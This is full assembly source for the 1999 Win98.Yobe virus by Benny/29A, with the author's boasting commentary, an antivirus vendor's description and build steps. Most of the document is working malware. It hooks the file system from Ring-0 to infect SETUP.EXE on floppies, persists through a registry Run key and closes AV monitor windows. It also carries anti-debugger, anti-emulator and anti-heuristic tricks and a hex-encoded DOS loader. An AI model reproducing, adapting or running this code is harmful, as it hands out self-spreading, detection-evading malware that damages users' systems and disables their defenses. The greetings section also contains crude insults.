?????????????????????????????????????????????????????????????????[yobe.asm]???
;						      ??????? ??????? ???????
;                                                     ??? ??? ??? ??? ??? ???
;          Win98.Yobe.24576	                      ??????  ??????? ???????
;          by Benny/29A                               ??????? ??????? ??? ???
;                                                     ??????? ??????? ??? ???
;                                                    
;
;
;Author's description
;?????????????????????
;
;Hey reader! R u st0ned or drunk enough? If not, then don't read this, coz this
;is really crazy. Let me introduce u FIRST FAT12 infector (cluster/directory
;virus, this is also used to call), fully compatible with windozes (Win98)!
;No no, that's not enough. This is also resident, multithreaded in both of
;Ring-0 and Ring-3 levels with anti-debugging, anti-heuristic, anti-emulator and
;anti-monitor features, using Win9X backdoor to call DOS services and working
;with CRC32, Windows registry and API functions.
;Among all these features, I don't hope it has any chances to spread outta
;world. It infects only diskettes (A: only) and only one file - SETUP.EXE. More
;crazy than u thought, nah? Yeah, I'm lazy so I didn't want to test my code on
;my harddisk and I also didn't want to think about infication of more than one
;file. When I finished Win98.BeGemot, I was totally b0red of those stupid PE
;headerz, RVAs and such like. I wanted to code something really original, not
;next average-b0ring virus. I hope I successed. This virus doesn't demonstrate
;only porting old techniques (c Dir-II virus) to new enviroment, but also
;hot-new techniques (e.g. Ring0 threads). To be this virus really heavilly
;armoured is missing some poly/meta engine. Unfortunately, this conception of
;virus doesn't allow me to implement such engines (neither compression), coz
;I can't modify virus code. However, I included many usefull trix to fool
;debuggerz as well as heuristic scannerz. Bad thing is that this babe is
;detectable by NODICE32 - NODICE32 can find suspicious code (such as modifying
;IDT) and so it immediately reports an unknown virus. There ain't chance to
;improve it, coz I can't use any kind of encryption. Fortunately, other AVs
;find sh!t :D. I hope u will like this piece of work (it took me much time to
;code it, albeit it is very small (code is small, headerz r huge :) and
;optimized) and u will learn much from that. U want probably ask me, why I didn't
;coded stealth virus. U r right, It's easy to implement full-stealth mechanism,
;but, but, ... I won't lie u - I'm lazy :).
;Gimme know, if u will have any comments, if u will find any bugs or anything
;else...thnx.
;
;
;
;What will happen on execution ?
;???????????????????????????????-
;
;Virus will:
;1)	Setup up SEH frame
;2)	Check for CRC32 of virus body
;3)	Check for application level debugger
;4)	Reset SEH frame and run anti-heuristic code
;5)	Kill some AV monitors (AVP, AMON) + some anti-heuristic code
;6)	Check for SoftICE
;7)	Copy virus to internal buffer, create new Ring-3 thread and wait for
;	its termination
;8)	-	Jump to Ring-0 (via IDT)
;9)	-	Check for residency and install itself to memory
;10)	-	Quit from Ring-0
;11)	Restore host
;12)	Execute host
;13)	Restore host, so host will be infected again
;14)	Set registry key, so virus will be executed everytime windows will
;	start
;15)	Check for payload activation time
;16)	-	Do payload
;17)	Remove SEH frame and quit
;
;
;Virus in memory will:
;1)	Check file name
;2)	Create new Ring-0 thread and wait for its termination
;3)	-	Check for drive parameters (BOOT sector check)
;4)	-	Check for free space (FAT check)
;5)	-	Redirect cluster_ptr in directory structure (ROOT)
;6)	-	Write virus to the end of DATA area
;7)	-	Save back FAT, ROOT and SAVE area (internally used by virus)
;8)	-	Terminate Ring-0 thread
;9)	Pass control to next IFS hooker
;
;
;
;Payload
;????????
;
;In possibility 1:255, virus will show icon on the left side of the screen and
;will rotate with it. U will c, how light-snake will be rolled on the screen.
;User will be really impressed! X-D I still can't stop watching it, it really
;hipnotized me ! :DDDDD.
;
;
;
;Known bugs
;???????????
;
;My computer will sometimes hang while system will try to read infected file.
;Maybe old FD drive, maybe some bugz in virus code. This appear only on my
;computer, so I hope it is error on my side.
;
;
;
;AVP's description
;??????????????????
;
;Benny's notes: This is much better description than at BeGemot virus. However,
;I would have some notes, see [* *] marx:
;
;
;Win95.Yobe [* Fully compatible with Win98, so why Win95? *]
;
;This is a dangerous [* why dangerous?! *] memory resident parasitic Windows
;virus. It uses system calls that are valid under Win95/98 only and can't spread
;under NT. The virus also has bugs and often halts the system when run [* when,
;where, why? *]. Despite on this the virus has very unusual way of spreading,
;and it is interesting enough from technical point of view [* I hope it is *].
;The virus can be found only in two files: "SETUP.EXE" on floppy disks and
;"SETUP .EXE" in the root of the C: drive (there is one space between file name
;and ".EXE" extension). 
;
;On the floppy disks the virus uses a trick to hide its copy. It writes its
;complete code to the last disk sectors and modifies the SETUP.EXE file to read
;and execute this code.
;
;The infected SETUP.EXE file looks just as 512 bytes DOS EXE program, but it is
;not. While infecting this file the virus uses "DirII" virus method: by direct
;disk sectors read/write calls the virus gets access to disk directory sectors,
;modifies "first file cluster" field and makes necessary changes in disk FAT
;tables. As a result the original SETUP.EXE code is not modified, but the
;directory entry points to virus code instead of original file clusters. 
;
;When the infected SETUP.EXE is run from the affected floppy disk this DOS
;component of the virus takes control, reads the complete virus body from the
;last sectors on the floppy disk, then creates the "C:\SETUP .EXE" file, writes
;these data (complete virus code) to there and executes. The virus installation
;routine takes control then, installs the virus into the system and disinfect
;the SETUP.EXE file on the floppy drive. 
;
;While installing itself into the system the virus creates [* opens *] the new
;key in the system registry to activate itself on each Windows restart: 
;
; HKLM\Software\Microsoft\Windows\CurrentVersion\Run 
;  YOBE=""C:\SETUP .EXE" YOBE"
;
;The virus then switches to the Windows kernel level (Ring0), allocates a block
;of system memory, copies itself to there and hooks disk file access Windows
;functions (IFS API). This hook intercepts file opening calls and on opening
;the SETUP.EXE file on the A: drive the virus infects it. 
;
;The virus has additional routines. First of them looks for "AVP Monitor" and
;"Amon Antivirus Monitor" windows and closes them; the second one depending on
;random counter displays the line with the words "YOBE" to the left side of the
;screen [* this is usually called as payload :D *].
;
;
;
;Greetz
;???????
;
;	B0z0		-	Huh, guy, why don't u stay in VX and write
;				another Padania virus? Just last one ;))
;	Billy Belcebu	-	Come to .cz! :D
;	BitAddict	-	Nice to met ya. Kewl to met old TriDenTer.
;	Darkman		-	Thank u for that wonderful book. It really
;				r0x0r!!!
;	Eddow		-	Would like to meet ya on IRC!
;	GriYo		-	Hey man, just reply me once.
;	Itchi		-	Drink, smoke and fuck again! :) Be back and
;				learn to code, pal!
;	Kaspersky	-	U cocksucker, where did u lose the description
;				of BeGemot?!!
;	Reptile		-	Smoke, smoke, smoke. This virus is really
;				st0ned :D. Btw, still working on macro stuph? ;)
;	StarZer0	-	Bak infectorz aren't problem :D. Now, when I
;				finished FAT12 inf., I will try to code
;				multithreaded .txt infector ;)))
;			-	Fibers r cool, but threads rulez!!!
;	The_Might       -\
;	MidNyte		- >	F0rk me a joint pleeeeeeaaazzzzz! :D
;	Rhape97         -/
;	All-nonsmokerz	-	Why do u drink and drive, when u can smoke
;				and fly? X-DDD
;	W33D		-	Thanx for inspiration, this virus is yourz,
;				hehe :D.
;	iKX stuph	-	Great work, men!!! XiNE#4 r0x0r!	
;
;
;
;How to build
;?????????????
;
;brcc32 yobe.rc
;tasm32 -ml -q -m9 yobe.asm
;tlink32 -Tpe -c -x -aa yobe,,, import32,,yobe.res
;pewrsec yobe.exe
;
;
;
;Who is YOBE?
;???????????????????????????
;
;Many ppl will now laugh me (hi Darkman!, hi Billy!) :DD. Yobe was human, which
;role is situated in Bible. Nah, don't beat me, I'm not catholic. I only like
;stories and ppl in Bible. Yobe was human, which lost his religion. Ehrm,
;let's imagine it as "he stopped believing in what he believed". Story is all
;about that u shouldn't stop believe in what u believe. If u believe in better
;world, don't stop believing in it and do everything to become it truth, don't
;resignate. This ain't only about catholisism, it's about life and utophy.
;But NOW pick up your lazy ass and do anything, anything u think it's right,
;otherwise u won't get what u want!
;
;
;
;(c) 1999 Benny/29A. Enjoy!



.386p						;386 protected opcodez
.model flat					;flat model, 32bit offset


include win32api.inc				;include some structures


PC_WRITEABLE    equ     00020000h               ;equates used
PC_USER         equ     00040000h               ;in installation
PR_SHARED       equ     80060000h               ;stage
PC_PRESENT	equ	80000000h
PC_FIXED	equ	00000008h
PD_ZEROINIT	equ	00000001h

IFSMgr_GetHeap	equ     0040000Dh		;used services
IFSMgr_Ring0_FileIO	equ     00400032h
IFSMgr_InstallFileSystemApiHook equ     00400067h
UniToBCSPath	equ	00400041h
VMMCreateThread	equ	00010105h
VMMTerminateThread	equ	00010107h
_VWIN32_CreateRing0Thread	equ	002A0013h
IFSMgr_Ring0_FileIO	equ	00400032h


mem_size        equ     (virus_end-Start+0fffh+24576)/1000h
						;size of virus in memory

VxDCall macro  VxDService              		;macro to call VxDCall
        int     20h
        dd      VxDService
	endm


extrn CreateFileA:PROC				;import APIz used by virus
extrn DeviceIoControl:PROC
extrn ExitProcess:PROC
extrn CloseHandle:PROC
extrn GetModuleFileNameA:PROC
extrn ReadFile:PROC
extrn CreateProcessA:PROC
extrn CopyFileA:PROC
extrn WaitForSingleObject:PROC
extrn DeleteFileA:PROC
extrn CreateThread:PROC
extrn GetCommandLineA:PROC
extrn RegCreateKeyExA:PROC
extrn RegSetValueExA:PROC
extrn RegCloseKey:PROC
extrn LoadIconA:PROC
extrn GetDC:PROC
extrn DrawIcon:PROC
extrn IsDebuggerPresent:PROC
extrn FindWindowA:PROC
extrn PostMessageA:PROC



.data						;data section
	VxDName	db	'\\.\vwin32',0		;vwin32 driver name
	srcFile	db	'a:\setup.exe',0	;virus locations
	dstFile	db	'c:\setup.exe',0	;on disk
	regFile	db	'"C:\SETUP .EXE" '	;in registry
	regVal	db	'YOBE',0
regSize = $-regFile
	subKey	db	'Software\Microsoft\Windows\CurrentVersion\Run',0
	sICE	db	'\\.\SICE',0		;SoftICE driver name
	ShItTyMoNs:                    		;monitors to kill
		db	'AVP Monitor',0
		db	'Amon Antivirus Monitor',0
	lpsiStartInfo	db	64		;used by CreateProcessA
			db	63 dup (?)
	regCont:				;registers passed to API
	regEBX	dd	offset ROOT
	regEDX	dd	19
	regECX	dd	14
	regEAX	dd	?
	regEDI	dd	?
	regESI	dd	?
	regFLGS	dd	?
	tmp	dd	?			;variable requiered by API
	org tmp
	hKey	dd	?			;key to registry
	lppiProcInfo:
	hProcess	dd	?		;handle to new process
	hThread		dd	?		;handle to new thread
	dwProcessID	dd	?		;ID of process
	dwThreadID	dd	?		;ID of thread
	vbuffer	db	24576 dup (?)		;buffer filled with virus file
	org vbuffer
	fname	db	256 dup (?)		;name of virus file
ends						;end of data section


.code						;code section
Start:						;virus body starts here
	@SEH_SetupFrame 		;setup SEH frame
	mov esi, offset _crc_			;start of block
	mov edi, crc_end-_crc_			;size of block
	call CRC32				;check code integrity
	cmp eax, 0DACA92DCh			;CRC32 match?
_crc_=$
	jne r_exit				;no, quit (anti-breakpoint)
	call IsDebuggerPresent			;check if any application level
	test eax, eax				;based debugger is present
	jne exit				;yeah, quit - anti-debugger
	mov [eax], ebx				;cause stack overflow exception
	jmp r_exit				;- anti-emulator
seh_jmp:@SEH_RemoveFrame            		;reset SEH handler
	@SEH_SetupFrame 		;...
	mov eax, cs				;load CS selector
	xor al, al				;only LSB is set under WinNT
	test eax, eax				;is WinNT active
	je r_exit				;yeah, quit
	db	0d6h				;anti-emulator
	mov eax, esp				;save ESP to EAX
	push cs					;save CS to stack
	pop ebx					;get it back to EBX
	cmp esp, eax				;match?
	jne r_exit				;no, quit - anti-emulator

	mov eax, fs:[20h]			;get debugger context
	test eax, eax				;is there any?
	jne exit				;yeah, quit - anti-debugger

	mov esi, offset ShItTyMoNs		;pointer to stringz
        xor edi, edi                            ;to AV monitors
	push 2					;2 monitors
        pop ecx                                 ;...
KiLlMoNs:
	push ecx				;save counter
	push esi				;AV string
	push edi				;NULL
        call FindWindowA			;find window
        test eax, eax                           ;found?
        je next_mon                             ;no, try to kill other monitor
        push edi                                ;now we will send message
        push edi                                ;to AV window to kill itself
        push 12h                                ;veeeeeeery stupid X-DD
	push eax
        call PostMessageA			;bye bye, hahaha
next_mon:
        sub esi, -0ch                           ;next monitor string
	pop ecx					;restore counter
        loop KiLlMoNs                           ;kill another one, if present

	push cs					;store CS
	push offset anti_l			;store offset to code
	retf					;go there - anti-emulator

CRC32:  push ebx                                ;I found this code in Int13h's
        xor ecx, ecx                            ;tutorial about infectin'
        dec ecx                                 ;archives. Int13h found this
        mov edx, ecx                            ;code in Vecna's Inca virus.
NextByteCRC:                                    ;So, thank ya guys...
        xor eax, eax                            ;Ehrm, this is very fast
        xor ebx, ebx                            ;procedure to code CRC32 at
        lodsb                                   ;runtime, no need to use big
        xor al, cl                              ;tables.
	mov cl, ch
	mov ch, dl
	mov dl, dh
	mov dh, 8
NextBitCRC:
	shr bx, 1
	rcr ax, 1
	jnc NoCRC
	xor ax, 08320h
	xor bx, 0edb8h
NoCRC:  dec dh
	jnz NextBitCRC
	xor ecx, eax
	xor edx, ebx
        dec edi
	jne NextByteCRC
	not edx
	not ecx
	pop ebx
	mov eax, edx
	rol eax, 16
	mov ax, cx
	ret

anti_l:	mov edi, offset sICE			;pointer to SoftICE
	call OpenDriver				;try to open its driver
	jne exit				;SICE present, quit - anti-debugger
	
	mov esi, offset fname			;where to store virus filename
	push 256				;size of filename
	push esi				;ptr to filename
	push 400000h				;base address of virus
	call GetModuleFileNameA			;get virus filename
	test eax, eax				;error?
	je exit					;yeah, quit

	xor eax, eax
	push eax
	push eax
	push OPEN_EXISTING
	push eax
	push FILE_SHARE_READ
	inc eax
	ror eax, 1
	push eax
	push esi
	call CreateFileA			;open virus file
	inc eax					;error?
	je exit					;yeah, quit
	dec eax
	xchg eax, esi
	push 0
	push offset tmp
	push 24576				;size of virus file
	push offset vbuffer			;ptr to buffer
	push esi
	call ReadFile				;copy virus file to buffer
	push eax
	push esi
	call CloseHandle			;and close virus file
	pop ecx	
	jecxz exit

	xor eax, eax
	push offset tmp
	push eax
	push eax
	push offset NewThread
	push eax
	push eax         			;create new thread and let virus
	call CreateThread			;code continue there
	test eax, eax				;error?
	je exit					;yeah, quit
	mov word ptr [t_patch], 9090h		;allow execution of code -
	push eax				; - anti-emulator
	call CloseHandle			;close handle of thread
crc_end=$
e_patch:jmp $					;this will be patched by thread
						; - anti-emulator
exit:	call GetCommandLineA			;get command-line
	xchg eax, esi				;to esi
	lodsb					;load byte
	cmp al, '"'				;is it " ? If not, virus filename
	jne regSet				;ain't long one - anti-AVer
lchar:	lodsb					;load next byte
	cmp al, '"'				;is it " ?
	jne lchar				;no, continue
_lchar:	lodsb					;load byte
	cmp al, ' '				;is it space?
	je _lchar				;yeah, continue
	test al, al				;is there any parameter?
	jne regSet				;yeah, virus is loaded from
						;C: drive -> no jump to host

	mov edi, offset VxDName			;pointer to vwin32
	call OpenDriver				;open driver
	je regSet				;if error, quit
	dec eax
	mov [d_handle], eax			;store handle
	mov eax, offset ROOT			;buffer for reading ROOT
	push eax       				;save ptr
	call I25hSimple				;read ROOT
	pop ebp					;get it back
	jc c_exit				;if error, then quit

_f_cmp:	mov esi, ebp				;get ptr to ROOT
	push esi
	lodsd
	test eax, eax				;ZERO?
	pop esi
	je c_exit				;yeah, no more filez, quit

	push 11					;size of filename (8+3)
	pop edi					;to EDI
	call CRC32				;calculate CRC32
	cmp eax, 873F6A26h			;match?
	je _fn_ok				;yeah, try to restore file
	sub ebp, -20h				;no, get next directory record
	jmp _f_cmp				;and try again
_fn_ok:	mov edi, offset save			;load SAVE area sector from disk
	mov [regEBX], edi
	mov [regEDX], 2880-1			;SAVE area = last sector in disk
	mov [regECX], 1				;one sector to read
	call I25h				;read it
	jc c_exit				;if error, then quit

	push word ptr [ebp+1ah]			;store cluster_ptr
	push dword ptr [ebp+1ch]		;store filesize
	push word ptr [edi]			;restore cluster_ptr
	pop word ptr [ebp+1ah]			;...
	push dword ptr [edi+2]			;restore filesize
	pop dword ptr  [ebp+1ch]		;...
	call WriteROOT				;restore directory record
	pop dword ptr [ebp+1ch]			;restore filesize
	pop word ptr [ebp+1ah]			;restore cluster_ptr
	jc c_exit				;if error, then quit

	mov ebx, offset dstFile			;destination path+filename
	push 0
	push ebx
	push offset srcFile			;source path+filename
	call CopyFileA				;copy virus from A: to C: drive
	xchg eax, ecx				;error?
	jecxz err_cpa				;yeah, quit

	xor eax, eax
	push offset lppiProcInfo
	push offset lpsiStartInfo
	push eax
	push eax
	push eax
	push eax
	push eax
	push eax
	push eax
	push ebx
	call CreateProcessA			;execute original file (host)
	xchg eax, ecx				;error?
	jecxz err_cpa				;yeah, quit

	mov ebp, [hProcess]			;get handle of host process
	push -1					;wait for its signalisation
	push ebp				;...
	call WaitForSingleObject		;...
	
	push ebp
	call CloseHandle			;close handle of host process
	push dword ptr [hThread]
	call CloseHandle			;close handle of host thread

err_cpa:call WriteROOT				;restore ROOT
	push ebx
	call DeleteFileA			;and delete host from C: drive

c_exit:	push 12345678h				;get handle of vwin32 driver
d_handle = dword ptr $-4
	call CloseHandle			;and close it

regSet:	push offset tmp
	push offset hKey
	push 0
	push 3
	push 0
	push 0
	push 0
	push offset subKey
	push 80000002h
	call RegCreateKeyExA			;open registry
	test eax, eax
	jne r_exit

	push regSize
	push offset regFile
	push 1
	push 0
	push offset regVal
	mov ebx, dword ptr [hKey]
	push ebx           			;set key - virus will be executed
	call RegSetValueExA			;everytime Windows will start
	push ebx
	call RegCloseKey			;close registry

	dw	310fh				;RDTCS
	cmp al, 'Y'				;1:255 possibility
	jne r_exit				;payload won't be activated

payload:push 0					;payload will be activated
	call GetDC				;get device context of desktop
	xchg eax, ebx				;save HDC to EBX
	push 29ah				;ID of icon
	push 400000h				;base of virus
	call LoadIconA				;load icon
	xor edx, edx				;EDX=0
l_payload:
	pushad					;store all registers
	push eax				;icon handle
	push edx				;Y possition
	push 0					;X possition
	push ebx				;device context handle
	call DrawIcon				;draw icon on desktop
	popad					;restore all registers
	sub edx, -30				;increment Y possition
	loop l_payload				;long payload :)

r_exit:	@SEH_RemoveFrame			;remove SEH frame
	push 0
	call ExitProcess			;and exit

NewThread:
	pushad					;store all registers
t_patch:jmp $					;will be patched - anti-emulator
	call EnterRing0				;jmp to Ring-0
	pushad					;store all registers
	mov eax, dr0				;get debug register
	cmp eax, 'YOBE'				;check if we r already resident
	je quitR0				;yeah, quit

	push 24576
	VxDCall IFSMgr_GetHeap			;alocate memory for our virus
	pop edx					;correct stack
	xchg eax, edi				;get address to EDI
	test edi, edi				;error?
	je quitR0				;yeah, quit

	push edi				;copy virus file to memory
	mov esi, offset vbuffer			;from
	mov ecx, 24576/4			;how many
	rep movsd				;move!
	pop ebp
	
	mov [ebp + 600h+membase-Start], ebp	;save address
	lea eax, [ebp + 600h+NewIFSHandler-Start]
	push eax				;pointer to new handler
	VxDCall IFSMgr_InstallFileSystemApiHook	;install file system hook
	pop edx					;correct stack
	mov [ebp + 600h+OldIFSHandler-Start], eax
	mov eax, 'YOBE'				;mark debug register as "already
	mov dr0, eax				;resident flag" - anti-debugger
quitR0:	mov dword ptr [p_jmp], 90909090h	;patch code - anti-emulator
	popad					;restore all registers
	iretd					;and quit from Ring-0

EnterRing0:                                     ;Ring0 port
        pop eax                                 ;get address
        pushad                                  ;store registers
        sidt fword ptr [esp-2]                  ;load 6byte long IDT address
        popad                                   ;restore registers
        sub edi, -(8*3)                         ;move to int3
        push dword ptr [edi]                    ;save original IDT
        stosw                                   ;modify IDT
        inc edi                                 ;move by 2
        inc edi                                 ;...
        push dword ptr [edi]                    ;save original IDT
        push edi                                ;save pointer
        mov ah, 0eeh                            ;IDT FLAGs
        stosd                                   ;save it
        push ds                                 ;save some selectors
        push es                                 ;...
        int 3                                   ;JuMpToRiNg0!
        pop es                                  ;restore selectors
        pop ds                                  ;...
        pop edi                                 ;restore ptr
        add edi, -4                             ;move with ptr
        pop dword ptr [edi+4]                   ;and restore IDT
        pop dword ptr [edi]                     ;...
p_jmp:  inc eax                                 ;some silly loop to fool
        cdq                                     ;some AVs. Will be overwritten
        jmp p_jmp                               ;with NOPs l8r by int handler
	mov word ptr [e_patch], 9090h		;again, new overwriting of code
	popad					; - anti-emulator
	ret					;restore all registers and quit

OpenDriver:
	xor eax, eax
	push eax
	push 4000000h
	push eax
	push eax
	push eax
	push eax
	push edi
	call CreateFileA			;open driver
	inc eax					;increment handle
	ret					;quit

NewIFSHandler:					;file system handler
	enter 20h, 0				;reserve space in stack
	push dword ptr [ebp+1ch]		;for parameters
	push dword ptr [ebp+18h]
	push dword ptr [ebp+14h]		;store parameters
	push dword ptr [ebp+10h]		;for next handler
	push dword ptr [ebp+0ch]
	push dword ptr [ebp+08h]

	cmp dword ptr [ebp+0ch], 24h		;open?
	jne quitHandler				;no, quit

	pushad					;store all registers
	call gdlta				;get delta offset
gdelta:	db	0b8h				;prefix - anti-disassembler
gdlta:	pop ebx					;and anti-lamer

	xor ecx, ecx				;ECX=0
	mov cl, 1				;ECX=0 or 1
semaphore = byte ptr $-1
	jecxz exitHandler			;semaphore set? then quit
	mov byte ptr [ebx + semaphore - gdelta], 0
						;set semaphore
        lea edi, [ebx + filename - gdelta]	;get filename
	mov al, [ebp+10h]			;get disk no.
	dec al					;is it A: ?
	jne exitHandler				;no, quit
	mov al, 'A'				;add A letter
	stosb					;store it
	mov al, ':'				;add : letter
	stosb					;store it

wegotdrive:
	xor eax, eax
	push eax
	inc ah
	push eax
	mov eax, [ebp+1ch]
	mov eax, [eax+0ch]
	sub eax, -4
	push eax
	push edi
	VxDCall UniToBCSPath			;convert UNICOE filename to ANSI
	sub esp, -10h				;correct shitty stack
	mov byte ptr [edi+eax], 0		;and terminate filename with \0

	mov esi, edi
	dec esi
	dec esi
	xchg eax, edi
	inc edi
	inc edi
	inc edi
	call CRC32				;calculate CRC32 of filename
	cmp eax, 0B4662AD0h			;is it "A:\SETUP.EXE,0" ?
	je setup_exe				;yeah, continue

exitHandler:
	mov byte ptr [ebx + semaphore - gdelta], 1	;set semaphore
	popad						;restore all registers
quitHandler:
	mov eax, 12345678h
OldIFSHandler = dword ptr $-4
	call [eax]				;jump to next handler
	sub esp, -18h				;correct stack
	leave
	ret					;and quit

setup_exe:
	mov ecx, 1000h				;thread stack
	lea ebx, [ebx + Thread_Infect - gdelta]	;address of thread proc
	xor esi, esi				;next crappy parameter
	VxDCall _VWIN32_CreateRing0Thread	;create new Ring-0 thread
	jmp exitHandler				;and quit
						; - anti-everything
	db	0b8h				;prefix - anti-disassembler
Thread_Infect:					;Ring-0 thread proc
	pushad					;store all registers
	jmp ti_next				;jump over
	db	3 dup (?)			;leave code be overwritten
ti_next:call tigdelta				;get delta offset
ti_gdelta	db	0b8h			;next prefix
tigdelta:
	pop ebx
	xor ecx, ecx
	inc ecx
	lea esi, [ebx + BOOT - ti_gdelta]	;read BOOT sector
	call Int25h
	jc exit_thread

	cmp [ebx + BOOT+0bh - ti_gdelta], 01010200h	;check, if diskette is 
	jne exit_thread					;1,44MB, check FAT and
	cmp word ptr [ebx + BOOT+0fh - ti_gdelta], 0200h;ROOT possition
	jne exit_thread
	push 9
	pop ecx
	cmp word ptr [ebx + BOOT+16h - ti_gdelta], cx	;...
	jne exit_thread				;no, its not 1,44MB FD

	lea esi, [ebx + FAT - ti_gdelta]
	inc edx
	call Int25h				;read FAT
	cmp byte ptr [esi], 0f0h		;check if it is 1,44MB
	jne exit_thread				;no, quit


	lea edi, [ebx + FAT+4223 - ti_gdelta]	;check FAT, if last sectors r
	mov ebp, edi				;free
	xor eax, eax
sFAT:	scasd
	jne exit_thread				;no, quit
	loop sFAT

	mov edi, ebp				;now we will mark FAT, last
	inc edi					;sectors will be marked as
	mov eax, 0ff0ff00h			;RESERVED
	push 73					;coz we infect 12bit FAT, we
	pop ecx					;use this loop to mark it so
markFAT:ror eax, 8
	test al, al
	je markFAT
	stosb
	loop markFAT
	mov byte ptr [edi], 0fh			;mark end

	call ROOTinit
	call Int25h				;read ROOT

f_cmp:	mov esi, ebp				;get ptr to ROOT          
	push esi                              
	lodsd                                 
	test eax, eax				;ZERO?
	pop esi                               
	je exit_thread				;yeah, no more filez, quit

	push 11
	pop edi
	call CRC32				;calculate CRC32 of file
	cmp eax, 873F6A26h			;is it SETUP.EXE?
	je fn_ok                                ;yeah, continue
	sub ebp, -20h				;no, process next directory rec.
	jmp f_cmp				;...
fn_ok:	mov ax, [ebp+1ah]			;save cluster_ptr
	mov [ebx + save - ti_gdelta], ax
	mov eax, [ebp+1ch]			;save filesize
	mov [ebx + save+2 - ti_gdelta], eax
	mov word ptr [ebp+1ah], 2800		;new cluster_ptr
	mov dword ptr [ebp+1ch], 512		;new filesize

	xor ecx, ecx
	inc ecx
	lea esi, [ebx + loader - ti_gdelta]
	mov edx, 2880-49
	call Int26h				;write DOS loader

	push 42
	pop ecx
	mov esi, [ebx + membase - ti_gdelta]
	mov edx, 2880-48			;write virus
	call Int26h

	xor ecx, ecx
	inc ecx
	lea esi, [ebx + save - ti_gdelta]
	mov edx, 2880-1
	call Int26h				;write SAVE area

	call ROOTinit
	call Int26h				;write ROOT

	push 9
	pop ecx
	lea esi, [ebx + FAT - ti_gdelta]
	xor edx, edx
	inc edx
	pushad
	call Int26h				;write first FAT
	popad
	sub dl, -9
	call Int26h				;write second FAT

exit_thread:
	popad					;restore all registers
	ret					;and exit


ROOTinit:					;procedure to initialize
	push 14					;registers for reading/writing
	pop ecx					;ROOT
	push 19
	pop edx
	lea esi, [ebx + ROOT - ti_gdelta]
	mov ebp, esi
	ret

Int26h: mov eax, 0DE00h				;write sectors
	jmp irfio	
Int25h:	mov eax, 0DD00h				;read sectors
irfio:	VxDCall IFSMgr_Ring0_FileIO
	ret

WriteROOT:					;code used to write sectorz
	mov [regEBX], offset ROOT		;pointer to ROOT field
	mov [regEDX], 19			;sector number of ROOT
	mov [regECX], 14			;sectors to write
I26h:	mov [p2526], 3				;set WRITE mode
	jmp i2526				;continue
I25h:	mov [p2526], 2				;set READ mode
i2526:	and [regEAX], 0				;zero EAX
I25hSimple:
	push 0
	push offset tmp
	push 28
	push offset regCont
	push 28
	push offset regCont
	push 2
p2526 = byte ptr $-1
	push dword ptr [d_handle]
	call DeviceIoControl			;backdoor used to call DOS services
	xchg eax, ecx				;error?
	jecxz q2526h				;yeah, set CF and quit
	clc					;clear CF
	ret					;quit
q2526h:	stc					;set CF
	ret					;and quit


	loader:					;DOS loader
	include	loader.inc
	ldrsize = $-loader			;size of DOS loader
	membase	dd	'YYYY'		;address, where is virus placed in memory
	filename	db	100h dup ('Y')	;filename
	save	db	512 dup ('Y')		;save area
	BOOT	db	512 dup ('Y')		;BOOT
	FAT	db	4608 dup ('Y')		;FAT
	ROOT	db	7168 dup ('Y')		;ROOT
virus_end:					;virus ends here
ends						;end of code section
End Start					;thats all f0lx ;)
?????????????????????????????????????????????????????????????????[yobe.asm]???
???????????????????????????????????????????????????????????????[LOADER.INC]???
		dd 5A4Dh
		dd 1
		dd 5410010h
		dd 0FFFFh
		dd 0
		dd 0
		dd 1Ch
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 0
		dd 8EC0331Eh
		dd 901EC4D8h
		dd 1E892E00h
		dd 8C2E008Dh
		dd 0C7008F06h
		dd 9B009006h
		dd 920E8C00h
		dd 1F0E0E00h
		dd 2AB907h
		dd 0BB0B10BAh
		dd 25CD00CBh
		dd 0B8587258h
		dd 0DB33716Ch
		dd 0BAC93343h
		dd 9EBE0012h
		dd 7221CD00h
		dd 40B49346h
		dd 0B900CBBAh
		dd 21CD6000h
		dd 3EB43972h
		dd 2E0721CDh
		dd 0BF068Ch
		dd 48BB4AB4h
		dd 1E21CD05h
		dd 77168C06h
		dd 7C268900h
		dd 0B8070E00h
		dd 0BBBB4B00h
		dd 0ACBA00h
		dd 34B821CDh
		dd 0BCD08E12h
		dd 1F071234h
		dd 0ACBA41B4h
		dd 3321CD00h
		dd 66D88EC0h
		dd 34567868h
		dd 68F6612h
		dd 0B80090h
		dd 0B021CD4Ch
		dd 3A43CF03h
		dd 5445535Ch
		dd 2E205055h
		dd 455845h
		dd 535C3A43h
		dd 50555445h
		dd 452E317Eh
		dd 4558h
		dd 8100h
		dd 0FFFFFF00h
		dd 0FFFFFFFFh
		dw 0EFFh
		db    0
???????????????????????????????????????????????????????????????[LOADER.INC]???





